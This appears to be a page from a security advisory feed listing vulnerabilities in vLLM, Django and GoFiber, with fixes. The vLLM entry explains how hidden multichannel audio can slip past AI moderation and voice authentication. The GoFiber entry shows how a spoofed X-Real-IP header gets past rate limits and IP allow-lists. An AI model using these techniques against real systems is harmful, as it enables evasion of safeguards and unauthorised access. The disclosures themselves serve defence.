standalone scripts are sufficient to reproduce the issue and its public gRPC reachability. Fix A fix for this vulnerability has been merged in: https://github.com/vllm-project/vllm/pull/44744

OWASP A03LLM01 · Prompt InjectionOWASP LLM
Get guardrail →

vLLM: Processing differential in multi-channel audio downmixing enables hidden-input/moderation bypass for audio models

Issue Description Librosa defaults to using numpy.mean for mono downmixing (to_mono), while the international standard ITU-R BS.775-4 specifies a weighted downmixing algorithm. This discrepancy results in: Inconsistency between audio heard by humans (e.g., through headphones/regular speakers) and audio processed by AI models (Which infra via Librosa, such as vllm, transformer). https://github.com/librosa/librosa/blob/af8c839fb15317fa2712ea66e7a22da6a9267b32/librosa/core/audio.py#L478 Attack Scenario and Impact LFE (Low-Frequency Effects) Channel Exploit Attackers can craft special multichannel audio files containing: 1. Normal content in front channels (L/R) 2. Either interference signals or hidden content in the LFE channel Notice: It is worth noting that not only the LFE channel is excluded, but in fact, channels beyond the 6th (such as rear surround channels, overhead channels, height speakers, etc.) are also not supported. Attack Methodology: Attackers can create specially engineered multichannel audio with LFE interference, where front channels (L/R) contain normal content while the LFE channel carries interference signals or hidden content. When played on consumer devices that ignore LFE channels, only the normal content is heard. However, when processed by AI systems using Librosa (which mixes all channels), the LFE interference affects speech recognition feature extraction or masks critical detection features. This enables malicious content to bypass AI detection while still reaching end users, potentially compromising voice authentication systems, evading content moderation, or disrupting speech recognition accuracy. Potential Exploitation Scenarios: Voice authentication systems may be tricked into accepting anomalous audio Content moderation systems may fail to detect prohibited content hidden in LFE channels Speech recognition systems may produce incorrect transcriptions Note: torch.audio implements this correctly. Failure to do so may lead to inconsistencies between training and test audio, resulting in performance degradation. Resources ITU-R BS.775-4 Standard Librosa Source Code Librosa securty report Fixes https://github.com/vllm-project/vllm/pull/37058, which removes the librosa dependency from vLLM.

OWASP A03LLM01 · Prompt InjectionOWASP LLM
Get guardrail →

Django: DomainNameValidator permits newline characters that may enable HTTP header injection

An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16. DomainNameValidator does not prohibit newlines in domain names (unless used via a form field, since CharField strips newlines). If an application uses values with newlines in an HTTP response, header injection can occur. Django itself is unaffected because HttpResponse prohibits newlines in HTTP headers. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Bence Nagy for reporting this issue.

Django: GDALRaster may over-read heap memory when constructed from bytes

An issue was discovered in Django 6.0 before 6.0.7 and 5.2 before 5.2.16. django.contrib.gis.gdal.GDALRaster over-reads its in-memory buffer when constructed from a bytes object, which can disclose adjacent memory or cause service degradation via a potential segmentation fault when the vsi_buffer property is accessed. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Bence Nagy for reporting this issue.

GoFiber Vulnerable to X-Real-IP Spoofing via Header.Add() in BalancerForward

Summary The BalancerForward proxy helper in GoFiber uses Header.Add() instead of Header.Set() when injecting the X-Real-IP header. This appends the real client IP as a second header value rather than replacing any attacker-supplied value. Upstream servers that read the first X-Real-IP header (nginx, Express, most HTTP servers) use the attacker's spoofed IP for logging, rate limiting, and access control. Vulnerable Code File: middleware/proxy/proxy.go, lines 270-285 ``go func BalancerForward(servers []string, clients ...*fasthttp.Client) fiber.Handler { r := &roundrobin{ current: 0, pool: servers, } return func(c fiber.Ctx) error { server := r.get() if !strings.HasPrefix(server, "http") { server = "http://" + server } c.Request().Header.Add("X-Real-IP", c.IP()) // line 282: Add, not Set return Do(c, server+c.OriginalURL(), clients...) } } ` Data Flow 1. Attacker sends request with X-Real-IP: 10.0.0.1 (spoofed internal IP) 2. BalancerForward handler executes at line 282 3. c.Request().Header.Add("X-Real-IP", c.IP()) APPENDS the real IP as a second header 4. Upstream server receives: X-Real-IP: 10.0.0.1 AND X-Real-IP: <real-attacker-ip> 5. Most HTTP servers (nginx, Node.js, Apache) read the FIRST value 6. Upstream uses 10.0.0.1 for all IP-dependent logic Impact Rate limit bypass: IP-based rate limiting at the upstream uses the spoofed IP, allowing unlimited requests IP ACL bypass: Internal IP allowlists (e.g., admin panels restricted to 10.0.0.0/8) can be bypassed Audit log poisoning: Security logs record the spoofed IP, making incident investigation unreliable Geolocation bypass: IP-based geofencing or region restrictions are circumvented Fix Replace Header.Add() with Header.Set() at line 282: `go c.Request().Header.Set("X-Real-IP", c.IP()) ` Header.Set()` replaces any existing header value, ensuring only the real client IP is forwarded.

Showing 41–60 of 521 threats